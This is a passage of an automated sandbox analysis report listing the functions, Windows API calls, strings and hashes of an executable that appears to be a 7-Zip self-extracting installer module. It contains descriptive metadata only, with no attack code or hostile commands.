Instruction Fuzzy Hash: AAD05EB0A0520576CB00ABB15D0E9EB7AEC5A48608B144461A806F00C5EAADDD90C36A

Function 0040367D Relevance: 7.5, APIs: 5, Instructions: 45
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesW.KERNELBASE(?,-00000001), ref: 0040368B
SetLastError.KERNEL32(00000010), ref: 004036A0

Memory Dump Source

Source File: 00000007.00000002.3270541398.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3270399156.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270742789.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270914104.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3271082705.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_a5bb0fe977.jbxd

Similarity

API ID: AttributesErrorFileLast
String ID:
API String ID: 1799206407-0
Opcode ID: d36faaefddfd81e2762f97a3370e571bf9c3961ee8d128041245bb49f3de1fe9
Instruction ID: 2afa7e6ed9b3c4e8b0be6899d5053f20146e769dcf51bfeaf0e83b5e475a48be
Opcode Fuzzy Hash: d36faaefddfd81e2762f97a3370e571bf9c3961ee8d128041245bb49f3de1fe9
Instruction Fuzzy Hash: 7001AD30402014BEDB206F759C099EA3B5CAF0132AF204E32F822F23D0D739CB469A5E

Function 0040122A Relevance: 3.0, APIs: 2, Instructions: 42windowCOMMON

Download Yara Rule

APIs

GetDiskFreeSpaceExW.KERNELBASE(?,00000000,00000000), ref: 00401246
SendMessageW.USER32(00008001,00000000,?), ref: 0040129F

Memory Dump Source

Source File: 00000007.00000002.3270541398.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3270399156.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270742789.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270914104.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3271082705.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_a5bb0fe977.jbxd

Similarity

API ID: DiskFreeMessageSendSpace
String ID:
API String ID: 696007252-0
Opcode ID: af37885296c4e33022f6aa73873594c733a529e1bca2c9c6b159ebc59711ebec
Instruction ID: 952f35bfd535ad09d3a1e6728af904cc40037fdc81ed9fa17bdc1f07510a46f8
Opcode Fuzzy Hash: af37885296c4e33022f6aa73873594c733a529e1bca2c9c6b159ebc59711ebec
Instruction Fuzzy Hash: 3F016DB4611208ABEB94DB52DC45F9A77A9AB01714F10807EFD00FA1F0C7B9A9808B1D

Function 00401B0B Relevance: 22.8, APIs: 15, Instructions: 304
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000007.00000002.3270541398.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3270399156.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270742789.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270914104.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3271082705.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_a5bb0fe977.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 55ca3ee3d26e98f30d69d3e888b340bde38f36a0fcd7a85b294178b1590f4b85
Instruction ID: f12f3cbfd9e378c4fb4e9f7b852960855991058b71a72fc1bb9c774fc2295476
Opcode Fuzzy Hash: 55ca3ee3d26e98f30d69d3e888b340bde38f36a0fcd7a85b294178b1590f4b85
Instruction Fuzzy Hash: 2CB18071900204EFCF15EFA5C8849EEB7B5FF44304B20852BF812A72A1DB78E945CB59

Function 00402017 Relevance: 14.0, APIs: 7, Strings: 1, Instructions: 47
timewindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(00000000,00000000,?,?,?,?,?,?,00405C1B,?,00000000), ref: 00402023
CreateWindowExW.USER32(00000000,Static,0041A584,00000000,000000F6,000000F6,00000005,00000005,00000000,00000000,00000000), ref: 00402040
SetTimer.USER32(00000000,00000001,00000001,00000000), ref: 00402052
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0040205F
DispatchMessageW.USER32(?), ref: 00402069
KillTimer.USER32(00000000,00000001,?,?,?,?,?,?,00405C1B,?,00000000), ref: 00402072
KiUserCallbackDispatcher.NTDLL(00000000,?,?,?,?,?,?,00405C1B,?,00000000), ref: 00402079

Strings

Static, xrefs: 0040203A

Memory Dump Source

Source File: 00000007.00000002.3270541398.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3270399156.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270742789.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270914104.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3271082705.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_a5bb0fe977.jbxd

Similarity

API ID: MessageTimer$CallbackCreateDispatchDispatcherHandleKillModuleUserWindow
String ID: Static
API String ID: 2479445380-2272013587
Opcode ID: 947087521f2d8a527adb1e132fdb1a2ab70df0e469f5237fcb2ff151bfac6e68
Instruction ID: 2d78b022e2fbb31551ae1a24c66cabd830678dfcab2333de03de12e069c17b52
Opcode Fuzzy Hash: 947087521f2d8a527adb1e132fdb1a2ab70df0e469f5237fcb2ff151bfac6e68
Instruction Fuzzy Hash: 2BF062325472217BCA312BA69C4DEEF3E2DEF46BB1F004260F619A11D1DAB94111C6BA

Function 00414491 Relevance: 12.6, APIs: 8, Instructions: 565
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

??2@YAPAXI@Z.MSVCRT(00000018,00000000,?,00000000,?), ref: 00414501
??2@YAPAXI@Z.MSVCRT(00000028,00000000,00000000,?,00000000,?), ref: 0041454B

Memory Dump Source

Source File: 00000007.00000002.3270541398.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3270399156.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270742789.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270914104.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3271082705.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_a5bb0fe977.jbxd

Similarity

API ID: ??2@
String ID:
API String ID: 1033339047-0
Opcode ID: 8c275e2cc856adcccae56b2b03b23110c5135f8455b1c708b9d72e7dbd912df9
Instruction ID: b54dbc60db56bc1e6d6afd4c66008574e1cbac59b919e387d83e05da41c529ad
Opcode Fuzzy Hash: 8c275e2cc856adcccae56b2b03b23110c5135f8455b1c708b9d72e7dbd912df9
Instruction Fuzzy Hash: 89321271900249DFCB14DFA5C8848EEBBB5BF88308B14456EF9169B351CB39E985CF98

Function 004039E7 Relevance: 10.6, APIs: 7, Instructions: 145
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenW.KERNEL32(00401A74,00000000,?,?,?,?,?,?,00401A74,?), ref: 004039F4
GetSystemTimeAsFileTime.KERNEL32(?,00401A74,?,?,?,?,00401A74,?), ref: 00403A6A
GetFileAttributesW.KERNELBASE(?,?,?,?,?,00401A74,?), ref: 00403A71
??3@YAXPAX@Z.MSVCRT(?,00401A74,?,?,?,?,00401A74,?), ref: 00403B30

Part of subcall function 004011B7: ??2@YAPAXI@Z.MSVCRT(00000000,00000000,?,00000000,004014FF,00000003,?,00405C8B,?,00000000), ref: 004011D7
Part of subcall function 004011B7: ??3@YAXPAX@Z.MSVCRT(?,00000000,?,00000000,004014FF,00000003,?,00405C8B,?,00000000), ref: 004011FD

memcpy.MSVCRT(-00000001,00401A74,?,?,?,?,?,00401A74,?), ref: 00403AC2
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,00401A74,?), ref: 00403AFF
??3@YAXPAX@Z.MSVCRT(?,00000001,0000000C,00401A74,00401A74,?,?,?,?,00401A74,?), ref: 00403B45

Memory Dump Source

Source File: 00000007.00000002.3270541398.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3270399156.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270742789.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270914104.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3271082705.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_a5bb0fe977.jbxd

Similarity

API ID: ??3@$FileTime$??2@AttributesSystemlstrlenmemcpy
String ID:
API String ID: 846840743-0
Opcode ID: 61fbb82b866355ca103b6651924008aad8ffda89ca2a341e34f636fd10af957e
Instruction ID: 952cd346550c55d7e35c26256f51fad4d5ed31c9206aabe41908170679320093
Opcode Fuzzy Hash: 61fbb82b866355ca103b6651924008aad8ffda89ca2a341e34f636fd10af957e
Instruction Fuzzy Hash: 4141E836A00112AADB20AF59C841ABF7B7CEB4170AF50413BEC81B21D1D77D5A4286DD

Function 004053B2 Relevance: 10.6, APIs: 7, Instructions: 78
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 004053D6
??3@YAXPAX@Z.MSVCRT(?,00000000,00000000,?,?), ref: 0040542F
??3@YAXPAX@Z.MSVCRT(00000002,?), ref: 00405437
ShellExecuteExW.SHELL32(?), ref: 00405455
WaitForSingleObject.KERNEL32(004071CC,000000FF), ref: 0040546D
CloseHandle.KERNEL32(004071CC), ref: 00405476
??3@YAXPAX@Z.MSVCRT(?), ref: 0040547D

Memory Dump Source

Source File: 00000007.00000002.3270541398.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3270399156.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270742789.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270914104.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3271082705.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_a5bb0fe977.jbxd

Similarity

API ID: ??3@$CloseExecuteHandleObjectShellSingleWaitmemset
String ID:
API String ID: 2700081640-0
Opcode ID: a85339e1bd803a9382c8719e0269a721a92dd258667116cddf8bfe46f874b10c
Instruction ID: a17db50f12ff5cb4ace43bc03755f74cf1bf378a7c310b81d7eb3e61b1d8450d
Opcode Fuzzy Hash: a85339e1bd803a9382c8719e0269a721a92dd258667116cddf8bfe46f874b10c
Instruction Fuzzy Hash: 3D212B71804208ABDB119FD5D885AEFBBB8EF44319F10812BE915B61A1D7785985CF84

Function 00401E6B Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateDirectoryW.KERNELBASE(a:@,00000000,-00000001,00403A61,?,00401A74,?,?,?,?,00401A74,?), ref: 00401E72
GetLastError.KERNEL32(?,?,?,?,00401A74,?), ref: 00401E7C
SetLastError.KERNEL32(000000B7,?,?,?,?,00401A74,?), ref: 00401E8C
GetFileAttributesW.KERNELBASE(?,?,?,?,?,00401A74,?), ref: 00401E9A

Strings

a:@, xrefs: 00401E6E

Memory Dump Source

Source File: 00000007.00000002.3270541398.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3270399156.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270742789.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270914104.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3271082705.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_a5bb0fe977.jbxd

Similarity

API ID: ErrorLast$AttributesCreateDirectoryFile
String ID: a:@
API String ID: 635176117-3844204524
Opcode ID: 2870007de936e2cd6bf86a77b59755239ded30d6049a6d438da8b23bd184778b
Instruction ID: 62bb911204df67689409a0bf299a5fa733f048eefc6419992ca9e78119752425
Opcode Fuzzy Hash: 2870007de936e2cd6bf86a77b59755239ded30d6049a6d438da8b23bd184778b
Instruction Fuzzy Hash: 0CE09A3494A210BFEB212B24FC087DF3B549F01321F608A36FC19E21F0C3388852868A

Function 00416891 Relevance: 7.6, APIs: 5, Instructions: 141
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memcpy.MSVCRT(00000000,?,00000020,00010000), ref: 004168E8
memmove.MSVCRT(00000000,?,00000020,?,00010000), ref: 0041697F
??3@YAXPAX@Z.MSVCRT(00000000), ref: 0041698B

Memory Dump Source

Source File: 00000007.00000002.3270541398.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3270399156.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270742789.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270914104.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3271082705.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_a5bb0fe977.jbxd

Similarity

API ID: ??3@memcpymemmove
String ID:
API String ID: 3549172513-0
Opcode ID: 85b00a1da2e75e8d58eb8ba0f360279bf7837f3aab605fd12771fdc2f3034734
Instruction ID: 6694c7cce515cef0b0cd55d5e6bb9cb7435d9f647c4cb47c4d4af15ebe31c866
Opcode Fuzzy Hash: 85b00a1da2e75e8d58eb8ba0f360279bf7837f3aab605fd12771fdc2f3034734
Instruction Fuzzy Hash: 2D41CEB1A10204ABDB20DE65C941BFFB7B9EF44704F16446EE845A7241D738EE81CBA9

Function 00404D0B Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 92
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

#17.COMCTL32(00000000,?,?), ref: 00404D17

Part of subcall function 00402427: GetUserDefaultUILanguage.KERNEL32(00404D27,?,?), ref: 00402431

Part of subcall function 0040247D: GetLastError.KERNEL32(00000000,?,?), ref: 004024CC
Part of subcall function 0040247D: wsprintfW.USER32 ref: 004024DD
Part of subcall function 0040247D: GetEnvironmentVariableW.KERNEL32(?,00000000,00000000), ref: 004024F2
Part of subcall function 0040247D: GetLastError.KERNEL32 ref: 004024F7
Part of subcall function 0040247D: ??2@YAPAXI@Z.MSVCRT(00000000), ref: 00402512
Part of subcall function 0040247D: GetEnvironmentVariableW.KERNEL32(?,00000000,?), ref: 00402525
Part of subcall function 0040247D: GetLastError.KERNEL32 ref: 0040252C
Part of subcall function 0040247D: lstrcmpiW.KERNEL32(00A391C8,?), ref: 00402541
Part of subcall function 0040247D: ??3@YAXPAX@Z.MSVCRT(00A391C8), ref: 00402551
Part of subcall function 0040247D: SetLastError.KERNEL32(00000003), ref: 00402578
Part of subcall function 0040247D: lstrlenA.KERNEL32(0041B328), ref: 004025AC
Part of subcall function 0040247D: ??2@YAPAXI@Z.MSVCRT(00000000), ref: 004025C7
Part of subcall function 0040247D: GetLocaleInfoW.KERNEL32(?,00001004,?,0000001F), ref: 004025F9

Part of subcall function 0040247D: ??3@YAXPAX@Z.MSVCRT(?), ref: 0040256F
Part of subcall function 0040247D: _wtol.MSVCRT ref: 0040260A
Part of subcall function 0040247D: MultiByteToWideChar.KERNEL32(00000000,0041B328,00000001,00A391C8,00000002), ref: 0040262A

SHGetSpecialFolderPathW.SHELL32(00000000,?,00000000,00000000,?,?,?,?,?,?,?), ref: 00404D9D
wsprintfW.USER32 ref: 00404DB8

Part of subcall function 004035CF: ??2@YAPAXI@Z.MSVCRT(00000018,?,00405789,?,00405D01,?,?,?,?,00405D01,7zSfxVarModulePlatform,x86), ref: 004035D4

Strings

7zSfxFolder%02d, xrefs: 00404DB2

Memory Dump Source

Source File: 00000007.00000002.3270541398.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3270399156.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270742789.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270914104.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3271082705.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_a5bb0fe977.jbxd

Similarity

API ID: ErrorLast$??2@$??3@EnvironmentVariablewsprintf$ByteCharDefaultFolderInfoLanguageLocaleMultiPathSpecialUserWide_wtollstrcmpilstrlen
String ID: 7zSfxFolder%02d
API String ID: 3387708999-2820892521
Opcode ID: d34a03c5dd54725b1acb63832af8b25ea8c8f143a98a30686e2398e18eee94ac
Instruction ID: 1fdf757244b44e0294be47ca2d8d1062c2b35c8cdb495cdfc6011dfc87a7cf41
Opcode Fuzzy Hash: d34a03c5dd54725b1acb63832af8b25ea8c8f143a98a30686e2398e18eee94ac
Instruction Fuzzy Hash: 8F317CB1A112089ECB11FFB2DD8AEEE7BA8AF44305F00403FA559A61E1EB784545CB59

Function 0040B2B0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 37
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

??2@YAPAXI@Z.MSVCRT(?,?,?,?,004168E1,00010000), ref: 0040B2C3
memmove.MSVCRT(00000000,?,?), ref: 0040B2E0
??3@YAXPAX@Z.MSVCRT(?,?,?,?,004168E1,00010000), ref: 0040B2F1

Strings

hA, xrefs: 0040B2B2

Memory Dump Source

Source File: 00000007.00000002.3270541398.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3270399156.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270742789.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270914104.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3271082705.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_a5bb0fe977.jbxd

Similarity

API ID: ??2@??3@memmove
String ID: hA
API String ID: 3828600508-1221461045
Opcode ID: bc9196dac32aa623d13a183dec5295da8b1281fe9b3a0aa3bad5d2b53f65af72
Instruction ID: d87302abea443053d5760b5c6252bf4bae7be4f47644660215ecec497c7fda62
Opcode Fuzzy Hash: bc9196dac32aa623d13a183dec5295da8b1281fe9b3a0aa3bad5d2b53f65af72
Instruction Fuzzy Hash: BEF0B4B66006005BC2209B1B9C9485BB7E9EFC9700704887FE92ED3700D334FC54C6AE

Function 00402EE4 Relevance: 6.4, APIs: 5, Instructions: 118
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenA.KERNEL32(?,?,00404004,0041EA30,?,?,0040618A,00000000,00000000,?,?,?,00000000,?), ref: 00402F16
lstrlenA.KERNEL32(?,?,00404004,0041EA30,?,?,0040618A,00000000,00000000,?,?,?,00000000,?), ref: 00402F1E
memcmp.MSVCRT(00000000,?,?), ref: 00402F84
memcmp.MSVCRT(00000000,?,?,?,00404004,0041EA30,?,?,0040618A,00000000,00000000,?,?,?,00000000,?), ref: 00402FC1
memmove.MSVCRT(?,?,00000000,?,00404004,0041EA30,?,?,0040618A,00000000,00000000,?,?,?,00000000,?), ref: 00402FF3

Memory Dump Source

Source File: 00000007.00000002.3270541398.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3270399156.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270742789.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270914104.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3271082705.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_a5bb0fe977.jbxd

Similarity

API ID: lstrlenmemcmp$memmove
String ID:
API String ID: 3251180759-0
Opcode ID: 6bc55519efb0b0d7bcd01b07c395372ad45836126fbb7a8d58e6edc0d1d2ad79
Instruction ID: 79ec95c0005fca4e8b411a1d1c8c43267f3aca6e0e8108953f5cc2358a2b563c
Opcode Fuzzy Hash: 6bc55519efb0b0d7bcd01b07c395372ad45836126fbb7a8d58e6edc0d1d2ad79
Instruction Fuzzy Hash: 9B417072D0120AAFCF01DFA4C9849EEBFB9EF48384F0444AAE805B3245D3759E85DB55

Function 004019D2 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 125
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

??2@YAPAXI@Z.MSVCRT(000001E8,00000000,0041E9E8,ExecuteFile,00000026,00000026,?,00406D79,?,0041E9E8,0041E9E8), ref: 004019DF
??2@YAPAXI@Z.MSVCRT(0000000C), ref: 00401A23
??2@YAPAXI@Z.MSVCRT(00000044), ref: 00401A7B

Part of subcall function 00409606: wvsprintfW.USER32(?,00000000,?), ref: 0040962A
Part of subcall function 00409606: GetLastError.KERNEL32 ref: 0040963B
Part of subcall function 00409606: FormatMessageW.KERNEL32(00001100,00000000,00000000,?,?,00000000,004072DC), ref: 00409663
Part of subcall function 00409606: FormatMessageW.KERNEL32(00001100,00000000,?,00000000,?,00000000,004072DC), ref: 00409678
Part of subcall function 00409606: lstrlenW.KERNEL32(?), ref: 0040968B
Part of subcall function 00409606: lstrlenW.KERNEL32(?), ref: 00409692
Part of subcall function 00409606: ??2@YAPAXI@Z.MSVCRT(00000000), ref: 004096A7
Part of subcall function 00409606: lstrcpyW.KERNEL32(00000000,?), ref: 004096BD
Part of subcall function 00409606: lstrcpyW.KERNEL32(-00000002,?), ref: 004096CE
Part of subcall function 00409606: ??3@YAXPAX@Z.MSVCRT(00000000,00000000), ref: 004096D7
Part of subcall function 00409606: LocalFree.KERNEL32(?), ref: 004096E1

Strings

ExecuteFile, xrefs: 004019D7

Memory Dump Source

Source File: 00000007.00000002.3270541398.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3270399156.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270742789.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270914104.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3271082705.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_a5bb0fe977.jbxd

Similarity

API ID: ??2@$FormatMessagelstrcpylstrlen$??3@ErrorFreeLastLocalwvsprintf
String ID: ExecuteFile
API String ID: 1592922708-323923146
Opcode ID: 9ac5554e1c21d9026da9657adf3441f6da01eba3c8fc77f1622ea7b0805a4649
Instruction ID: c177ff4ec49e1bf3251047196a645ec591425be599670d09217b52daf662347d
Opcode Fuzzy Hash: 9ac5554e1c21d9026da9657adf3441f6da01eba3c8fc77f1622ea7b0805a4649
Instruction Fuzzy Hash: 3D31A075701204BFCB10DBA6CC85DAF77A9EF85314724486FF405EB2A1DA789D80CB69

Function 00401880 Relevance: 6.1, APIs: 4, Instructions: 100
synchronizationthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNELBASE(00000000,00000000,0040133C,00000000,00000000,?), ref: 004018C4
WaitForSingleObject.KERNEL32(000000FF,?,00401AE1,?,?), ref: 004018E5

Part of subcall function 00409606: wvsprintfW.USER32(?,00000000,?), ref: 0040962A
Part of subcall function 00409606: GetLastError.KERNEL32 ref: 0040963B
Part of subcall function 00409606: FormatMessageW.KERNEL32(00001100,00000000,00000000,?,?,00000000,004072DC), ref: 00409663
Part of subcall function 00409606: FormatMessageW.KERNEL32(00001100,00000000,?,00000000,?,00000000,004072DC), ref: 00409678
Part of subcall function 00409606: lstrlenW.KERNEL32(?), ref: 0040968B
Part of subcall function 00409606: lstrlenW.KERNEL32(?), ref: 00409692
Part of subcall function 00409606: ??2@YAPAXI@Z.MSVCRT(00000000), ref: 004096A7
Part of subcall function 00409606: lstrcpyW.KERNEL32(00000000,?), ref: 004096BD
Part of subcall function 00409606: lstrcpyW.KERNEL32(-00000002,?), ref: 004096CE
Part of subcall function 00409606: ??3@YAXPAX@Z.MSVCRT(00000000,00000000), ref: 004096D7
Part of subcall function 00409606: LocalFree.KERNEL32(?), ref: 004096E1

Memory Dump Source

Source File: 00000007.00000002.3270541398.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3270399156.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270742789.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270914104.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3271082705.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_a5bb0fe977.jbxd

Similarity

API ID: FormatMessagelstrcpylstrlen$??2@??3@CreateErrorFreeLastLocalObjectSingleThreadWaitwvsprintf
String ID:
API String ID: 359084233-0
Opcode ID: 319690abfe6fd779aaf84523b8fe0746c993e0633f498ebd4a0fa4e94ee787c6
Instruction ID: 75a92c2673557d9aa231ca5611e15780e437056db76e39d6c0de200791827833
Opcode Fuzzy Hash: 319690abfe6fd779aaf84523b8fe0746c993e0633f498ebd4a0fa4e94ee787c6
Instruction Fuzzy Hash: 143124F5640200BAEB315B16DC55ABB3769EB84350F24813BF905FA2F0C6788981D72E

Function 00414DCF Relevance: 4.9, APIs: 3, Instructions: 410
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_EH_prolog.MSVCRT ref: 00414DD8
??2@YAPAXI@Z.MSVCRT(00000038,00000001), ref: 00414F76
??2@YAPAXI@Z.MSVCRT(00000038,00000000,00000001), ref: 00415049

Part of subcall function 00415346: ??2@YAPAXI@Z.MSVCRT(00000020,?,00000000,?,0041505A,00000000,00000001), ref: 0041536E

Memory Dump Source

Source File: 00000007.00000002.3270541398.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3270399156.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270742789.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270914104.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3271082705.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_a5bb0fe977.jbxd

Similarity

API ID: ??2@$H_prolog
String ID:
API String ID: 3431946709-0
Opcode ID: 04c58f70b3ae3af4a81f86ac04d094f81de620dd4ea7d6dbb38bc93096a2a0a8
Instruction ID: 05c66da844a657c6192dd0360cb768692f443836589bcaaccfb39479f9247554
Opcode Fuzzy Hash: 04c58f70b3ae3af4a81f86ac04d094f81de620dd4ea7d6dbb38bc93096a2a0a8
Instruction Fuzzy Hash: 5AF12871600609DFCB14DF69C884AEE7BB4BF88314F14415AF8199B351DB39ED82CB98

Function 00403F89 Relevance: 4.7, APIs: 3, Instructions: 151COMMON

Download Yara Rule

APIs

Part of subcall function 00402665: LoadLibraryA.KERNEL32(kernel32,GetNativeSystemInfo,?,?,?,?,?,0040269B,00405D06,7zSfxVarModulePlatform,x86), ref: 00402675
Part of subcall function 00402665: GetProcAddress.KERNEL32(00000000), ref: 0040267C
Part of subcall function 00402665: GetNativeSystemInfo.KERNELBASE(?,?,?,?,?,?,0040269B,00405D06,7zSfxVarModulePlatform,x86), ref: 0040268A

??3@YAXPAX@Z.MSVCRT(0040618A,?,?,?,?,?,?,?,0040618A), ref: 00404117
??3@YAXPAX@Z.MSVCRT(?,0040618A,?,?,?,?,?,?,?,0040618A), ref: 0040411F
